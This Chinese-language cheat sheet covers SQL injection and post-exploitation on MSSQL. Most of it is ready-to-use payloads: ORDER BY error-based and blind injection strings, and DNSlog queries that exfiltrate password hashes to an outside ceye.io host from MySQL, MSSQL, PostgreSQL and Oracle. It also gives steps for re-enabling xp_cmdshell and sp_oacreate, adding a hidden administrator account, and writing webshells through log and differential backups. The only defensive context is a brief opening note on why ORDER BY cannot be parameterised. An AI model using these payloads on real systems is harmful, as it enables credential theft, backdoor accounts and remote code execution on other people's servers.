order by 注入
首先要说一下这个技术存在的意义,目前主流防 sql 注入都是用参数化的方法(预编译),但是 order by 后面不能参数化,也很容易存在注入点(比如排序功能的位置)。本质原因是一方面预编译又只有自动加引号的 setString() 方法,没有不加引号的方法;而另一方面 order by后接的字段名不能有引号。那么进一步扩展一下:不只 order by,凡是字符串但又不能加引号的位置都不能参数化;包括sql关键字、库名表名字段名函数名。
注入方式:
报错注入:
/?order=IF(1=2,1,(select+1+from+information_schema.tables))
/?order=(select+1+regexp+if(1=2,1,0x00)
/?order=updatexml(1,if(1=2,1,user()),1)
/?order=extractvalue(1,if(1=2,1,user()))
盲注:
/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
查询:
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00))
配合 Dnslog
在无法直接利用漏洞获得回显的情况下,通过发起 DNS 请求外带数据。提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生 DNS 查询,我们只要能获得 DNS 的日志,就得到了想要的值
mysql:
http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass)
FROM test.test_user WHERE name='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\abc'))
load_file 在 linux 下无法用 dnslog 攻击,因为 linux 中没有 UNC 路径 (\\)
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
mssql:
http://127.0.0.1/mssql.php?id=1;
DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass)))
FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';
EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');
postgresql:
http://127.0.0.1/pgSQL.php?id=1;DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);
exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgSQL SECURITY DEFINER;
SELECT temp_function();
或者用 db_link 扩展(但默认不开启)
http://127.0.0.1/pgsql.php?id=1;CREATE EXTENSION dblink;
SELECT * FROM dblink('host='||(select encode(pass::bytea,'hex') from test_user where id =1)||'.vvv.psql.3.nk40ci.ceye.io user=someuser dbname=somedb',
'SELECT version()') RETURNS (result TEXT);
oracle:
利用方式很多了:
UTL_HTTP.REQUEST:
select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.nk40ci.ceye.io') FROM sys.DUAL;
DBMS_LDAP.INIT:
select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.nk40ci.ceye.io',80) FROM sys.DUAL;
HTTPURITYPE:
select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.nk40ci.ceye.io') FROM sys.DUAL;
MSSQL 注入拿 shell
( xp_cmdshell 在 SQLServer 2005 后默认设置为关闭,但对于 SA 权限的用户来说都可以恢复)
存在堆叠注入的条件下用 xp_cmdshell 写 shell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
然后直接可以执行命令
EXEC master..xp_cmdshell’免杀powershell命令’
如果 xp_cmdshell 被禁用的代替方法:
恢复 sp_oacreate,并执行命令:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
执行系统命令,没有回显,比如可以添加一个影子用户并加入管理员组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack$ 0r@nge /add';
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 0r@nge$ /add';
调用 cmd 执行命令
wscript.shell 执行命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c xxx'
Shell.Application 执行命令
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
删除或恢复 sp_addextendedproc
/ 删除 /
drop procedure sp_addextendproc
drop procedure sp_oacreate
exec sp_addextendedproc
/ 恢复 /
dbcc addextendedproc (“sp_oacreate”,”odsole70.dll”)
dbcc addextendedproc (“xp_cmdshell”,”xplog70.dll”)
恢复 sp_oacreate 和 xp_cmdshell
exec sp_addextendedproc xp_cmdshell , @dllname = ‘xplog70.dll’
如果这两个函数都不能执行(存在杀软),可以尝试备份写 shell,但再设置目录权限后可能就不行了。在拿shell之前首先要找一波路径,大致思路:
1.报错寻找
2.字典
3.旁站信息收集
4.调用储存过程来搜索
5.读配置文件
其中,可以用 xp_cmdshell
、xp_dirtree
、xp_dirtree
、xp_subdirs
等函数找网站根目录(调用储存过程来搜索)
execute master..xp_dirtree 'c:' //列出所有 c:\ 文件和目录,子目录
execute master..xp_dirtree 'c:',1 //只列 c:\ 文件夹
execute master..xp_dirtree 'c:',1,1 //列 c:\ 文件夹加文件
如果没有回显的话可以插入一个临时的表:
id=1;CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
id=1;insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1
log备份写 shell
- 前提条件:
1.数据库存在注入
2.用户具有读写权限,一般至少DBO权限
3.有网站的具体路径
4.站库不分离
- 操作步骤:
1.修改数据库为还原模式(恢复模式):
;alter database 库名 set RECOVERY FULL –-
2.建表和字段
;create table moonflower(a image)--
3.备份数据库
;backup log 数据库名 to disk = ‘c:\www\moonflower.bak’ with init –
4.往表中写入一句话
;insert into orange(a) values (0x...)-- //值要进行hex进制转换下
5.利用log备份到web的物理路径
;backup log 数据库名 to disk = 'c:\www\moonflower.php' with init--
6.删除表
;Drop table moonflower--
差异备份写shell
第二次备份的时候会和上次备份的做对比,把不同的内容备份,所以只要插入一句话木马再备份,木马就会被写到数据库中。
- 前提条件:
1.有网站具体路径
2.有可写权限(dbo权限以上)
3.站库不分离
- 步骤:
1.备份数据库
;backup database 数据库名 to disk = 'C:\www\\...' with init --
2.创建表格
%';create table moonflower(a image) --
3.写入webshell
%';insert into orange(a) values (0xxxxx) --
4.进行差异备份
%';backup log 数据库名 to disk = 'C:\www\moonflower.asp' WITH DIFFERENTIAL,FORMAT;--
5.删除表
;Drop table moonflower--